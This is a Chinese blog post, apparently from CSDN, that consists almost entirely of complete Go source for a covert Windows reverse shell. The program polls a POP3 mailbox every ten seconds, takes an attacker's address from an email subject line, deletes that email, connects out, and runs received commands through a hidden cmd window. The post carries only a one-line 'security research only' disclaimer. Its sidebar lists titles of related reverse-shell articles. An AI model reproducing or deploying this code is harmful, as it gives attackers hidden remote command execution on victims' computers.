golang写的反弹shell(自作孽不可活,切记,切记!)

简介: 版权声明:本文可能为博主原创文章,若标明出处可随便转载。 https://blog.
版权声明:本文可能为博主原创文章,若标明出处可随便转载。 https://blog.csdn.net/Jailman/article/details/78321872

仅作安全研究

package main
import (
    "os/exec"
    "go-pop3"
    "log"
    "strings"
    "net"
    // "fmt"
    "syscall"
    "bufio"
    "time"
)

//反弹shell函数
func reverseshell(addr string){

    if c,_:=net.Dial("tcp", addr); c != nil {
        for{
            status, _ := bufio.NewReader(c).ReadString('\n');
            //显示输入命令
            // fmt.Println(status)
            //输入exit命令退出
            if status == "exit\n" {
                break
            }
            //输入Ctrl+C时字符为空退出
            if status == "" {
                break
            }
            //执行命令返回结果
            cmd := exec.Command("cmd", "/C", status)
            cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
            out, _ := cmd.Output();
            c.Write([]byte(out))
        }
    }
}

//获取Email中的地址并调用反弹shell函数
func Get_Address_to_Rverse_shell(username string, password string){

    client, err := pop3.Dial("pop.sina.com:110")

    if err != nil {
        log.Fatalf("Error: %v\n", err)
    }

    defer func() {
        client.Quit()
        client.Close()
    }()

    if err = client.User(username); err != nil {
        log.Printf("Error: %v\n", err)
        return
    }

    if err = client.Pass(password); err != nil {
        log.Printf("Error: %v\n", err)
        return
    }

    var count int
    var size uint64

    if count, size, err = client.Stat(); err != nil {
        log.Printf("Error: %v\n", err)
        return
    }

    log.Printf("Count: %d, Size: %d\n", count, size)

    var content string

    if content, err = client.Retr(count); err != nil {
        log.Printf("Error: %v\n", err)
        return
    }

    if err = client.Dele(count); err != nil {
        log.Printf("Error: %v\n", err)
        return
    }

    if err = client.Noop(); err != nil {
        log.Printf("Error: %v\n", err)
        return
    }

    if err = client.Rset(); err != nil {
        log.Printf("Error: %v\n", err)
        return
    }

    //处理邮件object,获取地址
    list := strings.Split(content, "\r\n")
    for i := 0; i < len(list); i++ {
        line := list[i]
        if strings.Contains(line, "Subject:"){
            addrlist := strings.Split(line, ":")
            if len(addrlist) == 3 {
                temp_addr := addrlist[1] + ":" + addrlist[2]
                ADDR := strings.Replace(temp_addr, " ", "", -1)
                reverseshell(ADDR)
                // go reverseshell(ADDR)
            }
        }
    }
}


func main(){
    
    username := "xxx"
    password := "xxx"
    for{
        Get_Address_to_Rverse_shell(username, password)
        time.Sleep(10 * time.Second)
    }

}



目录
相关文章
|
5月前
|
监控 网络协议 Unix
Linux命令-nc(端口监控、文件传输、反弹shell等)
Linux命令-nc(端口监控、文件传输、反弹shell等)
130 0
|
安全 NoSQL 关系型数据库
网络安全——利用ssrf操作内网redis写入计划任务反弹shell
今天的内容是ssrf漏洞的利用,环境选择的是discuz含有ssrf漏洞的版本,通过该漏洞来写入redis计划任务反弹shell,直接看操作
474 0
网络安全——利用ssrf操作内网redis写入计划任务反弹shell
|
NoSQL 安全 网络协议
|
7月前
|
Shell
反弹shell脚本(php-reverse-shell)
反弹shell脚本(php-reverse-shell)
122 0
|
7月前
|
安全 网络协议 Shell
[笔记]Windows安全之《一》反弹Shell
[笔记]Windows安全之《一》反弹Shell
|
网络协议 安全 Shell
[笔记]Windows安全之《一》反弹Shell
Windows安全之《一》反弹Shell
701 0
[笔记]Windows安全之《一》反弹Shell
|
12月前
|
安全 Shell Linux
使用OpenSsl加密反弹shell
当我们使用nc等工具进行反弹shell时,流量都是没经过加密,直接传输的,管理员很容易就能发现我们的异常流量
204 0
|
12月前
|
网络协议 Shell 网络安全
利用icmpsh建立icmp隧道反弹shell
利用icmpsh建立icmp隧道反弹shell
91 0
|
12月前
|
Shell 数据库连接 数据库
宝塔后渗透-添加用户|反弹shell
宝塔后渗透-添加用户|反弹shell
257 0
|
网络协议 JavaScript Java
反弹shell备忘录
常用的一些反弹shell命令备忘录
313 0